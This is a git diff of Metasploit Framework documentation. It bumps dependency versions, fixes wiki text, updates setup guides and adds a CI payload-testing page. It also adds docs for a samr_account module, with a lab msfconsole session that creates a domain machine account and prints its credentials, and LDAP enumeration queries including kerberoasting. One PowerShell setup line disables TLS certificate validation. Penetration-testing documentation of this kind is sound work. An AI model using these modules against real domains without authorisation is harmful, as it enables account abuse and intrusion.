(4.3.1) + jekyll (4.3.4) addressable (~> 2.4) colorator (~> 1.0) em-websocket (~> 0.5) @@ -53,46 +53,45 @@ GEM jekyll (>= 3.7, < 5.0) jekyll-watch (2.2.1) listen (~> 3.0) - kramdown (2.4.0) - rexml + kramdown (2.5.1) + rexml (>= 3.3.9) kramdown-parser-gfm (1.1.0) kramdown (~> 2.0) - liquid (4.0.3) - listen (3.7.1) + liquid (4.0.4) + listen (3.9.0) rb-fsevent (~> 0.10, >= 0.10.3) rb-inotify (~> 0.9, >= 0.9.10) mercenary (0.4.0) - method_source (1.0.0) + method_source (1.1.0) pathutil (0.16.2) forwardable-extended (~> 2.6) - pry (0.14.1) + pry (0.14.2) coderay (~> 1.1) method_source (~> 1.0) pry-byebug (3.10.1) byebug (~> 11.0) pry (>= 0.13, < 0.15) - public_suffix (5.0.1) - rake (13.0.6) + public_suffix (6.0.1) + rake (13.2.1) rb-fsevent (0.11.2) - rb-inotify (0.10.1) + rb-inotify (0.11.1) ffi (~> 1.0) - rexml (3.3.6) - strscan - rouge (4.0.0) + rexml (3.4.0) + rouge (4.5.1) safe_yaml (1.0.5) sassc (2.4.0) ffi (~> 1.9) - strscan (3.1.0) terminal-table (3.0.2) unicode-display_width (>= 1.1.1, < 3) - unicode-display_width (2.3.0) - webrick (1.7.0) + unicode-display_width (2.6.0) + webrick (1.9.1) PLATFORMS ruby DEPENDENCIES jekyll (~> 4.3.0) + jekyll-sass-converter (~> 2.2.0) jekyll-sitemap just-the-docs! pry-byebug @@ -103,4 +102,4 @@ DEPENDENCIES webrick BUNDLED WITH - 2.2.22 + 2.5.10 diff --git a/docs/metasploit-framework.wiki/Common-Metasploit-Module-Coding-Mistakes.md b/docs/metasploit-framework.wiki/Common-Metasploit-Module-Coding-Mistakes.md index 8c9a3c926d36..30fb7a3b8c03 100644 --- a/docs/metasploit-framework.wiki/Common-Metasploit-Module-Coding-Mistakes.md +++ b/docs/metasploit-framework.wiki/Common-Metasploit-Module-Coding-Mistakes.md @@ -146,7 +146,7 @@ register_options( ], self.class) ``` -**8. Neglecting to use send_request_cgi()'s vars_get or vars_get when crafting a POST/GET request** +**8. Neglecting to use send_request_cgi()'s vars_post or vars_get when crafting a POST/GET request** ```ruby data_post = 'user=jsmith&pass=hello123' @@ -199,4 +199,4 @@ Metasploit3.new ```ruby # https://github.com/rapid7/metasploit-framework/issues/3853 datastore['BAD'] = 'This is bad.' -``` \ No newline at end of file +``` diff --git a/docs/metasploit-framework.wiki/Definition-of-Module-Reliability-Side-Effects-and-Stability.md b/docs/metasploit-framework.wiki/Definition-of-Module-Reliability-Side-Effects-and-Stability.md index af7a1bb81482..2c9782b713fb 100644 --- a/docs/metasploit-framework.wiki/Definition-of-Module-Reliability-Side-Effects-and-Stability.md +++ b/docs/metasploit-framework.wiki/Definition-of-Module-Reliability-Side-Effects-and-Stability.md @@ -59,6 +59,7 @@ Example: | CONFIG_CHANGES | Module modifies some config file | | IOC_IN_LOGS | Module leaves an indicator of compromise in the log(s) | | ACCOUNT_LOCKOUTS | Module may cause an account to lock out | +| ACCOUNT_LOGOUT | Module may cause an existing valid session to be forced to log out (likely due to restrictions on concurrent sessions)| | SCREEN_EFFECTS | Module shows something on the screen that a human may notice | | PHYSICAL_EFFECTS | Module may produce physical effects in hardware (Examples: light, sound, or heat) | | AUDIO_EFFECTS | Module may cause a noise (Examples: Audio output from the speakers or hardware beeps) | diff --git a/docs/metasploit-framework.wiki/Get-Started-Writing-an-Exploit.md b/docs/metasploit-framework.wiki/Get-Started-Writing-an-Exploit.md index 042b9857b90a..efca90e912de 100644 --- a/docs/metasploit-framework.wiki/Get-Started-Writing-an-Exploit.md +++ b/docs/metasploit-framework.wiki/Get-Started-Writing-an-Exploit.md @@ -112,6 +112,11 @@ end * **Reliability** - The Reliability field describes how reliable the session is that gets returned by the exploit, ex: `REPEATABLE_SESSION`, `UNRELIABLE_SESSION` * **SideEffects** - The SideEffects field describes the side effects cause by the exploit that the user should be aware of, ex: `ARTIFACTS_ON_DISK`, `IOC_IN_LOGS`, `ACCOUNT_LOCKOUTS`. +### Non-required fields + +* **Stance** - The types of stances an exploit can take, such as passive or aggressive. Stances indicate whether or not the module triggers the exploit without waiting for one or more conditions to be met (aggressive) or whether it must wait for certain conditions to be satisfied before the exploit can be initiated (passive). Passive exploits usually would wait for interaction from a client or other entity for being able to trigger the vulnerability. + +* **Passive** - Either `true` or `false` indicates whether or not the exploit should be run as a background job. If for example you know the vulnerability takes an hour to trigger, setting `Passive` to `true` would be beneficial as it allows the user to continue using msfconsole while waiting for a response from the exploit. Your exploit should also have a `check` method to support the check command, but this is optional in case it's not possible. diff --git a/docs/metasploit-framework.wiki/How-to-Configure-DNS.md b/docs/metasploit-framework.wiki/How-to-Configure-DNS.md index 09b22c06aea9..6778db353e3c 100644 --- a/docs/metasploit-framework.wiki/How-to-Configure-DNS.md +++ b/docs/metasploit-framework.wiki/How-to-Configure-DNS.md @@ -18,7 +18,7 @@ Metasploit's DNS configuration is controlled by the `dns` command which has mult The current configuration can be printed by running `dns print`: -```msf6 +```msf msf6 > dns print Default search domain: N/A Default search list: lab.lan diff --git a/docs/metasploit-framework.wiki/How-to-get-Oracle-Support-working-with-Kali-Linux.md b/docs/metasploit-framework.wiki/How-to-get-Oracle-Support-working-with-Kali-Linux.md index 292b2d4c34fa..879e6aed5881 100644 --- a/docs/metasploit-framework.wiki/How-to-get-Oracle-Support-working-with-Kali-Linux.md +++ b/docs/metasploit-framework.wiki/How-to-get-Oracle-Support-working-with-Kali-Linux.md @@ -23,34 +23,27 @@ msf5 auxiliary(scanner/oracle/oracle_hashdump) > run The general steps to getting Oracle support working are to install the Oracle Instant Client and development libraries, install the required dependencies for Kali Linux, then install the gem. ## Install the Oracle Instant Client -As root, create the directory `/opt/oracle`. Then download the [Oracle Instant Client](http://www.oracle.com/technetwork/database/features/instant-client/index-097480.html) packages for your version of Kali Linux. The packages you will need are: +As root, create the directory `/opt/oracle`. Then download the [Oracle Instant Client](https://www.oracle.com/database/technologies/instant-client/downloads.html) packages for your version of Kali Linux. The packages you will need are: -* instantclient-basic-linux-12.2.0.1.0.zip -* instantclient-sqlplus-linux-12.2.0.1.0.zip -* instantclient-sdk-linux-12.2.0.1.0.zip +* [instantclient-basic-linux.x64-23.6.0.24.10.zip](https://download.oracle.com/otn_software/linux/instantclient/2360000/instantclient-basic-linux.x64-23.6.0.24.10.zip) +* [instantclient-sqlplus-linux.x64-23.6.0.24.10.zip](https://download.oracle.com/otn_software/linux/instantclient/2360000/instantclient-sqlplus-linux.x64-23.6.0.24.10.zip) +* [instantclient-sdk-linux.x64-23.6.0.24.10.zip](https://download.oracle.com/otn_software/linux/instantclient/2360000/instantclient-sdk-linux.x64-23.6.0.24.10.zip) -Unzip these under `/opt/oracle`, and you should now have a path called `/opt/oracle/instantclient_12_2/`. Next symlink the shared library that we need to access the library from oracle: - -``` -root@kali:/opt/oracle/instantclient_12_2# ln libclntsh.so.12.1 libclntsh.so - -root@kali:/opt/oracle/instantclient_12_2# ls -lh libclntsh.so -lrwxrwxrwx 1 root root 17 Jun 1 15:41 libclntsh.so -> libclntsh.so.12.1 -``` +Unzip these under `/opt/oracle`, and you should now have a path called `/opt/oracle/instantclient_23_6/`. You also need to configure the appropriate environment variables, perhaps by inserting them into your .bashrc file, logging out and back in for them to apply. ``` -export PATH=$PATH:/opt/oracle/instantclient_12_2 -export SQLPATH=/opt/oracle/instantclient_12_2 -export TNS_ADMIN=/opt/oracle/instantclient_12_2 -export LD_LIBRARY_PATH=/opt/oracle/instantclient_12_2 -export ORACLE_HOME=/opt/oracle/instantclient_12_2 +export PATH=$PATH:/opt/oracle/instantclient_23_6 +export SQLPATH=/opt/oracle/instantclient_23_6 +export TNS_ADMIN=/opt/oracle/instantclient_23_6 +export LD_LIBRARY_PATH=/opt/oracle/instantclient_23_6 +export ORACLE_HOME=/opt/oracle/instantclient_23_6 ``` If you have succeeded, you should be able to run `sqlplus` from a command prompt: ``` -root@kali:/opt/oracle/instantclient_12_2# sqlplus +root@kali:/opt/oracle/instantclient_23_6# sqlplus SQL*Plus: Release 12.2.0.1.0 Production on Tue Mar 26 20:40:24 2019 @@ -64,40 +57,40 @@ Enter user-name: First, download and extract the gem source release: ``` -root@kali:~# wget https://github.com/kubo/ruby-oci8/archive/ruby-oci8-2.2.7.zip ---2019-03-26 20:31:11-- https://github.com/kubo/ruby-oci8/archive/ruby-oci8-2.2.7.zip +root@kali:~# wget https://github.com/kubo/ruby-oci8/archive/refs/tags/ruby-oci8-2.2.14.zip +--2019-03-26 20:31:11-- https://github.com/kubo/ruby-oci8/archive/refs/tags/ruby-oci8-2.2.14.zip Resolving github.com (github.com)... 192.30.253.113, 192.30.253.112 Connecting to github.com (github.com)|192.30.253.113|:443... connected. HTTP request sent, awaiting response... 302 Found -Location: https://codeload.github.com/kubo/ruby-oci8/zip/ruby-oci8-2.2.7 [following] ---2019-03-26 20:31:11-- https://codeload.github.com/kubo/ruby-oci8/zip/ruby-oci8-2.2.7 +Location: https://codeload.github.com/kubo/ruby-oci8/zip/ruby-oci8-2.2.14 [following] +--2019-03-26 20:31:11-- https://codeload.github.com/kubo/ruby-oci8/zip/ruby-oci8-2.2.14 Resolving codeload.github.com (codeload.github.com)... 192.30.253.120, 192.30.253.121 Connecting to codeload.github.com (codeload.github.com)|192.30.253.120|:443... connected. HTTP request sent, awaiting response... 200 OK Length: unspecified [application/zip] -Saving to: 'ruby-oci8-2.2.7.zip' +Saving to: 'ruby-oci8-2.2.14.zip' -ruby-oci8-2.2.7.zip [ <=> ] 376.97K 2.36MB/s in 0.2s +ruby-oci8-2.2.14.zip [ <=> ] 376.97K 2.36MB/s in 0.2s -2019-03-26 20:31:11 (2.36 MB/s) - 'ruby-oci8-2.2.7.zip' saved [386016] +2019-03-26 20:31:11 (2.36 MB/s) - 'ruby-oci8-2.2.14.zip' saved [386016] -root@kali:~# unzip ruby-oci8-2.2.7.zip -Archive: ruby-oci8-2.2.7.zip +root@kali:~# unzip ruby-oci8-2.2.14.zip +Archive: ruby-oci8-2.2.14.zip 0c85bf6da2f541de3236267b1a1b18f0136a8f5a - creating: ruby-oci8-ruby-oci8-2.2.7/ - inflating: ruby-oci8-ruby-oci8-2.2.7/.gitignore - inflating: ruby-oci8-ruby-oci8-2.2.7/.travis.yml + creating: ruby-oci8-ruby-oci8-2.2.14/ + inflating: ruby-oci8-ruby-oci8-2.2.14/.gitignore + inflating: ruby-oci8-ruby-oci8-2.2.14/.travis.yml [...] - inflating: ruby-oci8-ruby-oci8-2.2.7/test/test_rowid.rb -root@kali:~# cd ruby-oci8-ruby-oci8-2.2.7/ + inflating: ruby-oci8-ruby-oci8-2.2.14/test/test_rowid.rb +root@kali:~# cd ruby-oci8-ruby-oci8-2.2.14/ ``` Install libgmp (needed to build the gem) and set the path to prefer the correct version of ruby so that Metasploit can use it. ``` -root@kali:~/ruby-oci8-ruby-oci8-2.2.7# export PATH=/opt/metasploit/ruby/bin:$PATH +root@kali:~/ruby-oci8-ruby-oci8-2.2.14# export PATH=/opt/metasploit/ruby/bin:$PATH -root@kali:~/ruby-oci8-ruby-oci8-2.2.7# apt-get install libgmp-dev +root@kali:~/ruby-oci8-ruby-oci8-2.2.14# apt-get install libgmp-dev Reading package lists... Done Building dependency tree Reading state information... Done @@ -117,7 +110,7 @@ Setting up libgmp-dev:amd64 (2:5.0.5+dfsg-2) ... Build and install the gem ``` -root@kali:~/ruby-oci8-ruby-oci8-2.2.7# make +root@kali:~/ruby-oci8-ruby-oci8-2.2.14# make ruby -w setup.rb config setup.rb:280: warning: assigned but unused variable - vname setup.rb:280: warning: assigned but unused variable - desc @@ -130,12 +123,12 @@ setup.rb:280: warning: assigned but unused variable - default2 <--- lib ---> ext ---> ext/oci8 -/opt/metasploit/ruby/bin/ruby /root/ruby-oci8-ruby-oci8-2.2.7/ext/oci8/extconf.rb +/opt/metasploit/ruby/bin/ruby /root/ruby-oci8-ruby-oci8-2.2.14/ext/oci8/extconf.rb checking for load library path... LD_LIBRARY_PATH... checking /opt/metasploit/ruby/lib... no - checking /opt/oracle/instantclient_12_2... yes - /opt/oracle/instantclient_12_2/libclntsh.so.12.1 looks like an instant client. + checking /opt/oracle/instantclient_23_6... yes + /opt/oracle/instantclient_23_6/libclntsh.so.12.1 looks like an instant client. checking for cc... ok checking for gcc... yes checking for LP64... yes @@ -144,11 +137,11 @@ checking for ruby header... ok checking for OCIInitialize() in oci.h... yes [...] linking shared-object oci8lib_250.so -make[1]: Leaving directory `/root/ruby-oci8-ruby-oci8-2.2.7/ext/oci8' +make[1]: Leaving directory `/root/ruby-oci8-ruby-oci8-2.2.14/ext/oci8' <--- ext/oci8 <--- ext -root@kali:~/ruby-oci8-ruby-oci8-2.2.7# make install +root@kali:~/ruby-oci8-ruby-oci8-2.2.14# make install ruby -w setup.rb install setup.rb:280: warning: assigned but unused variable - vname setup.rb:280: warning: assigned but unused variable - desc @@ -158,5 +151,5 @@ mkdir -p /opt/metasploit/ruby/lib/ruby/site_ruby/2.5.0/ install oci8.rb /opt/metasploit/ruby/lib/ruby/site_ruby/2.5.0/ [...] <--- ext -root@kali:~/ruby-oci8-ruby-oci8-2.2.7# +root@kali:~/ruby-oci8-ruby-oci8-2.2.14# ``` diff --git a/docs/metasploit-framework.wiki/How-to-use-datastore-options.md b/docs/metasploit-framework.wiki/How-to-use-datastore-options.md index e76a70d52c75..618b301ae84b 100644 --- a/docs/metasploit-framework.wiki/How-to-use-datastore-options.md +++ b/docs/metasploit-framework.wiki/How-to-use-datastore-options.md @@ -86,8 +86,7 @@ OptSomething.new(option_name, [boolean, description, value, *enums*], aliases: * options](#Filtering-datastore-options) section for more information. * **fallbacks** *optional*, *key-word only* An array of names that will be used as a fallback if the main option name is defined by the user. This is useful in the scenario of wanting specialised option names such as `SMBUser`, but to also - support gracefully checking a list of more generic fallbacks option names such as `Username`. This functionality is - currently behind a feature flag, set with `features set datastore_fallbacks true` in msfconsole + support gracefully checking a list of more generic fallbacks option names such as `Username`. Now let's talk about what classes are available: diff --git a/docs/metasploit-framework.wiki/Metasploit-Guide-LDAP.md b/docs/metasploit-framework.wiki/Metasploit-Guide-LDAP.md index f94597cac083..f0293d4336bf 100644 --- a/docs/metasploit-framework.wiki/Metasploit-Guide-LDAP.md +++ b/docs/metasploit-framework.wiki/Metasploit-Guide-LDAP.md @@ -75,7 +75,7 @@ This module has a selection of inbuilt queries which can be configured via the ` - `ENUM_COMPUTERS` - Dump all objects containing an objectCategory or objectClass of Computer. - `ENUM_CONSTRAINED_DELEGATION` - Dump info about all known objects that allow constrained delegation. - `ENUM_DNS_RECORDS` - Dump info about DNS records the server knows about using the dnsNode object class. -- `ENUM_DNS_ZONES` - Dump info about DNS zones the server knows about using the dnsZone object class under the DC DomainDnsZones. This isneeded - as without this BASEDN prefix we often miss certain entries. +- `ENUM_DNS_ZONES` - Dump info about DNS zones the server knows about using the dnsZone object class under the DC DomainDnsZones. This is needed - as without this BASEDN prefix we often miss certain entries. - `ENUM_DOMAIN` - Dump info about the Active Directory domain. - `ENUM_DOMAIN_CONTROLLERS` - Dump all known domain controllers. - `ENUM_EXCHANGE_RECIPIENTS` - Dump info about all known Exchange recipients. @@ -96,6 +96,7 @@ This module has a selection of inbuilt queries which can be configured via the ` - `ENUM_USER_PASSWORD_NEVER_EXPIRES` - Dump info about all users whose password never expires. - `ENUM_USER_PASSWORD_NOT_REQUIRED` - Dump info about all users whose password never expires and whose account is still enabled. - `ENUM_USER_SPNS_KERBEROAST` - Dump info about all user objects with Service Principal Names (SPNs) for kerberoasting. +- `ENUM_PRE_WINDOWS_2000_COMPUTERS` - Dump info about all computer objects likely created as a "pre-Windows 2000 computer", for which the password might be predictable. ### Kerberos Authentication diff --git a/docs/metasploit-framework.wiki/Metasploit-Guide-SMB.md b/docs/metasploit-framework.wiki/Metasploit-Guide-SMB.md index f5cd5e00f925..9b49aa940076 100644 --- a/docs/metasploit-framework.wiki/Metasploit-Guide-SMB.md +++ b/docs/metasploit-framework.wiki/Metasploit-Guide-SMB.md @@ -169,7 +169,7 @@ Local File System Commands This session also works with the following modules: auxiliary/admin/dcerpc/icpr_cert - auxiliary/admin/dcerpc/samr_computer + auxiliary/admin/dcerpc/samr_account auxiliary/admin/smb/delete_file auxiliary/admin/smb/download_file auxiliary/admin/smb/psexec_ntdsgrab diff --git a/docs/metasploit-framework.wiki/Payload-Testing.md b/docs/metasploit-framework.wiki/Payload-Testing.md new file mode 100644 index 000000000000..b1231ca67ffc --- /dev/null +++ b/docs/metasploit-framework.wiki/Payload-Testing.md @@ -0,0 +1,41 @@ +Payloads for Metasploit Framework can now be tested when opening pull requests. This is handled by GitHub actions within +our CI, this workflow will build the payloads using the appropriate repositories and branches. It will then run our +acceptance tests against those changes. This requires adding GitHub labels for each corresponding payload repository. +The labels will contain the `payload-testing` prefix, each supporting testing for an external repository: + - `payload-testing-branch` ([https://github.com/rapid7/metasploit-payloads/](https://github.com/rapid7/metasploit-payloads/)) + - `payload-testing-mettle-branch` ([https://github.com/rapid7/mettle/](https://github.com/rapid7/mettle/)) + +**_Note_**: + +The long term aim is supporting workflow dispatches for this job, but that is currently not working as expected. So as a +work-around we will need to edit the workflow locally. Once the testing has been completed ensure the following locally +changes are reverted before merging. + +Once the appropriate repository label is added, you will need to edit the GitHub workflow to point at the specific +repository and branch you want to test. Below I will outline some changes that are required to make this work, update +the following lines like so: + +1. Point at your forked repository - [line to update](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L189): +```yaml +repository: foo-r7/metasploit-framework +``` + +2. Point at your forked repository branch - [line to update](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L191): +```yaml +ref: fixes-all-the-bugs +``` + +3. Point at your forked repository that contains the payload changes you'd like to test - update lines [45](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L45) and [250](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L250): +```yaml +repository: foo-r7/metasploit-payloads +``` + +4. Point at your forked repository branch that contains the payload changes you'd like to test - update lines [47](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L47) and [252](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L252): +```yaml +ref: fixes-all-the-payload-bugs +``` + +Steps 3 and 4 outline the steps required when steps testing metasploit-payloads. The same steps apply for Mettle, the +following lines would need updated: + - Point at your forked repository that contain the payload changes you'd like to test - [line](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L156). + - Point at your forked repository branch that contains the payload changes you'd like to test - [line](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L158). diff --git a/docs/metasploit-framework.wiki/dev/Setting-Up-a-Metasploit-Development-Environment.md b/docs/metasploit-framework.wiki/dev/Setting-Up-a-Metasploit-Development-Environment.md index ba5d1163fb02..7b7bdc95db1c 100644 --- a/docs/metasploit-framework.wiki/dev/Setting-Up-a-Metasploit-Development-Environment.md +++ b/docs/metasploit-framework.wiki/dev/Setting-Up-a-Metasploit-Development-Environment.md @@ -30,10 +30,29 @@ sudo apt update && sudo apt install -y git autoconf build-essential libpcap-dev ### Windows -If you are running a Windows machine +#### Windows 10 or above -* Install [chocolatey](https://chocolatey.org/) -* Install [Ruby x64 with DevKit](https://github.com/oneclick/rubyinstaller2/releases/download/RubyInstaller-3.0.3-1/rubyinstaller-devkit-3.0.3-1-x64.exe) +* Install [winget](https://learn.microsoft.com/en-us/windows/package-manager/winget/) +* Install [Ruby x64 with DevKit](https://github.com/oneclick/rubyinstaller2/releases/download/RubyInstaller-3.3.6-1/rubyinstaller-devkit-3.3.6-1-x64.exe) +* Install pcaprub dependencies from your PowerShell terminal: + +``` +[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object System.Net.WebClient).DownloadFile('https://www.winpcap.org/install/bin/WpdPack_4_1_2.zip', 'C:\Windows\Temp\WpdPack_4_1_2.zip') + +Expand-Archive -Path "C:\Windows\Temp\WpdPack_4_1_2.zip" -DestinationPath "C:\" +``` + +Install a version of PostgreSQL: + +``` +Install-Module -Name Microsoft.WinGet.Client +Install-WinGetPackage -id PostgreSQL.PostgreSQL.17 +``` + +#### Pre-Windows 10 + +* Install [choco](https://chocolatey.org/install) +* Install [Ruby x64 with DevKit](https://github.com/oneclick/rubyinstaller2/releases/download/RubyInstaller-3.3.6-1/rubyinstaller-devkit-3.3.6-1-x64.exe) * Install pcaprub dependencies from your cmd.exe terminal: ``` @@ -46,7 +65,7 @@ choco install 7zip Install a version of PostgreSQL: ``` -choco install postgresql12 +choco install postgresql17 ``` ## Set up your local copy of the repository @@ -82,7 +101,9 @@ git config --global user.email "$GITHUB_EMAIL" git config --global github.user "$GITHUB_USERNAME" ``` -* Set up [msftidy] to run before each `git commit` and after each `git merge` to quickly identify potential issues with your contributions: +- Set up [msftidy] to run before each `git commit` and after each `git merge` to quickly identify potential issues with your contributions: + +#### Linux ```bash cd ~/git/metasploit-framework @@ -90,8 +111,20 @@ ln -sf ../../tools/dev/pre-commit-hook.rb .git/hooks/pre-commit ln -sf ../../tools/dev/pre-commit-hook.rb .git/hooks/post-merge ``` +#### Windows + +```powershell +cd ~/git/metasploit-framework +mkdir .githooks +git config --local core.hooksPath .githooks/ +New-Item -Path pre-commit -ItemType SymbolicLink -Value ..\tools\dev\pre-commit-hook.rb +New-Item -Path post-merge -ItemType SymbolicLink -Value ..\tools\dev\pre-commit-hook.rb +``` + ## Install Ruby + **Note:** If you are using Windows, ruby installed in [Install dependencies](#install-dependencies) section, so you can skip this section + Linux distributions do not ship with the latest Ruby, nor are package managers routinely updated. Additionally, if you are working with multiple Ruby projects, each one has dependencies and Ruby versions which can start to conflict. For these reasons, it is advisable to use a Ruby manager. You could just install Ruby directly (eg. `sudo apt install ruby-dev`), but you may likely end up with the incorrect version and no way to update. Instead, consider using one of the many different [Ruby environment managers] available. The Metasploit team prefers [rbenv] and [rvm] (note that [rvm] does require a re-login to complete). diff --git a/docs/navigation.rb b/docs/navigation.rb index 6bc28ee7f3bc..52c62f6f1ef7 100644 --- a/docs/navigation.rb +++ b/docs/navigation.rb @@ -856,6 +856,9 @@ def without_prefix(prefix) { path: 'Loading-Test-Modules.md' }, + { + path: 'Payload-Testing.md' + }, { path: 'Measuring-Metasploit-Performance.md' } diff --git a/documentation/modules/auxiliary/admin/dcerpc/samr_account.md b/documentation/modules/auxiliary/admin/dcerpc/samr_account.md new file mode 100644 index 000000000000..d3be1ef3c1ec --- /dev/null +++ b/documentation/modules/auxiliary/admin/dcerpc/samr_account.md @@ -0,0 +1,109 @@ +## Vulnerable Application +Add, lookup and delete user / machine accounts via MS-SAMR. By default standard active directory users can add up to 10 +new computers to the domain (MachineAccountQuota). Administrative privileges however are required to delete the created +accounts, or to create/delete user accounts. + +## Verification Steps + +1. From msfconsole +2. Do: `use auxiliary/admin/dcerpc/samr_account` +3. Set the `RHOSTS`, `SMBUser` and `SMBPass` options + 1. Set the `ACCOUNT_NAME` option for `DELETE_ACCOUNT` and `LOOKUP_ACCOUNT` actions +4. Run the module and see that a new machine account was added + +## Options + +### SMBDomain + +The Windows domain to use for authentication. The domain will automatically be identified if this option is left in its +default value. + +### ACCOUNT_NAME + +The account name to add, lookup or delete. This option is optional for the `ADD_COMPUTER` action, and required for the +`ADD_USER`, `LOOKUP_ACCOUNT` and `DELETE_ACCOUNT` actions. If left blank for `ADD_COMPUTER`, a random, realistic name +will be generated. + +### ACCOUNT_PASSWORD + +The password for the new account. This option is only used for the `ADD_COMPUTER` and `ADD_USER` actions. If left +blank, a random value will be generated. + +## Actions + +### ADD_COMPUTER + +Add a new computer to the domain. This action will fail with status `STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED` if the +user has exceeded the maximum number of computer accounts that they are allowed to create. + +After the computer account is created, the password will be set for it. If `ACCOUNT_NAME` is set, that value will be +used and the module will fail if the specified name is already in use. If `ACCOUNT_NAME` is *not* set, a random value +will be used. + +### ADD_USER + +Add a new user to the domain. The account being used to create the new user must have permission to do so. + +After the user account is created, the password will be set for it. The `ACCOUNT_NAME` option must be set to the name of +the account to create. The module will fail if the specified name is already in use. + +### DELETE_ACCOUNT + +Delete a user or computer account from the domain. This action requires that the `ACCOUNT_NAME` option be set. + +### LOOKUP_ACCOUNT + +Lookup a user or computer account in the domain. This action verifies that the specified account exists, and looks up +its security ID (SID), which includes the relative ID (RID) as the last component. + +## Scenarios + +### Windows Server 2019 + +First, a new computer account is created and its details are logged to the database. + +``` +msf6 auxiliary(admin/dcerpc/samr_account) > set RHOSTS 192.168.159.96 +RHOSTS => 192.168.159.96 +msf6 auxiliary(admin/dcerpc/samr_account) > set SMBUser aliddle +SMBUser => aliddle +msf6 auxiliary(admin/dcerpc/samr_account) > set SMBPass Password1 +SMBPass => Password1 +msf6 auxiliary(admin/dcerpc/samr_account) > show options + +Module options (auxiliary/admin/dcerpc/samr_account): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + ACCOUNT _NAME no The computer name + ACCOUNT_PASSWORD no The password for the new computer + RHOSTS 192.168.159.96 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 445 yes The target port (TCP) + SMBDomain . no The Windows domain to use for authentication + SMBPass Password1 no The password for the specified username + SMBUser aliddle no The username to authenticate as + + +Auxiliary action: + + Name Description + ---- ----------- + ADD_COMPUTER Add a computer account + + +msf6 auxiliary(admin/dcerpc/samr_account) > run +[*] Running module against 192.168.159.96 + +[*] 192.168.159.96:445 - Using automatically identified domain: MSFLAB +[+] 192.168.159.96:445 - Successfully created MSFLAB\DESKTOP-2X8F54QG$ with password MCoDkNALd3SdGR1GoLhqniEkWa8Me9FY +[*] Auxiliary module execution completed +msf6 auxiliary(admin/dcerpc/samr_account) > creds +Credentials +=========== + +host origin service public private realm private_type JtR Format +---- ------ ------- ------ ------- ----- ------------ ---------- +192.168.159.96 192.168.159.96 445/tcp (smb) DESKTOP-2X8F54QG$ MCoDkNALd3SdGR1GoLhqniEkWa8Me9FY MSFLAB Password + +msf6 auxiliary(admin/dcerpc/samr_account) > +``` diff --git a/documentation/modules/auxiliary/admin/dcerpc/samr_computer.md b/documentation/modules/auxiliary/admin/dcerpc/samr_computer.md deleted file mode 100644 index c21174946af0..000000000000 --- a/documentation/modules/auxiliary/admin/dcerpc/samr_computer.md +++ /dev/null @@ -1,100 +0,0 @@ -## Vulnerable Application -Add, lookup and delete computer accounts via MS-SAMR. By default standard active directory users can add up to 10 new -computers to the domain. Administrative privileges however are required to delete the created accounts. - -## Verification Steps - -1. From msfconsole -2. Do: `use auxiliary/admin/dcerpc/samr_computer` -3. Set the `RHOSTS`, `SMBUser` and `SMBPass` options - 1. Set the `COMPUTER_NAME` option for `DELETE_COMPUTER` and `LOOKUP_COMPUTER` actions -4. Run the module and see that a new machine account was added - -## Options - -### SMBDomain - -The Windows domain to use for authentication. The domain will automatically be identified if this option is left in its -default value. - -### COMPUTER_NAME - -The computer name to add, lookup or delete. This option is optional for the `ADD_COMPUTER` action, and required for the -`LOOKUP_COMPUTER` and `DELETE_COMPUTER` actions. - -### COMPUTER_PASSWORD - -The password for the new computer. This option is only used for the `ADD_COMPUTER` action. If left blank, a random value -will be generated. - -## Actions - -### ADD_COMPUTER - -Add a new computer to the domain. This action will fail with status `STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED` if the -user has exceeded the maximum number of computer accounts that they are allowed to create. - -After the computer account is created, the password will be set for it. If `COMPUTER_NAME` is set, that value will be -used and the module will fail if the selected name is already in use. If `COMPUTER_NAME` is *not* set, a random value -will be used. - -### DELETE_COMPUTER - -Delete a computer from the domain. This action requires that the `COMPUTER_NAME` option be set. - -### LOOKUP_COMPUTER - -Lookup a computer in the domain. This action verifies that the specified computer exists, and looks up its security ID -(SID), which includes the relative ID (RID) as the last component. - -## Scenarios - -### Windows Server 2019 - -First, a new computer account is created and its details are logged to the database. - -``` -msf6 auxiliary(admin/dcerpc/samr_computer) > set RHOSTS 192.168.159.96 -RHOSTS => 192.168.159.96 -msf6 auxiliary(admin/dcerpc/samr_computer) > set SMBUser aliddle -SMBUser => aliddle -msf6 auxiliary(admin/dcerpc/samr_computer) > set SMBPass Password1 -SMBPass => Password1 -msf6 auxiliary(admin/dcerpc/samr_computer) > show options - -Module options (auxiliary/admin/dcerpc/samr_computer): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - COMPUTER_NAME no The computer name - COMPUTER_PASSWORD no The password for the new computer - RHOSTS 192.168.159.96 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html - RPORT 445 yes The target port (TCP) - SMBDomain . no The Windows domain to use for authentication - SMBPass Password1 no The password for the specified username - SMBUser aliddle no The username to authenticate as - - -Auxiliary action: - - Name Description - ---- ----------- - ADD_COMPUTER Add a computer account - - -msf6 auxiliary(admin/dcerpc/samr_computer) > run -[*] Running module against 192.168.159.96 - -[*] 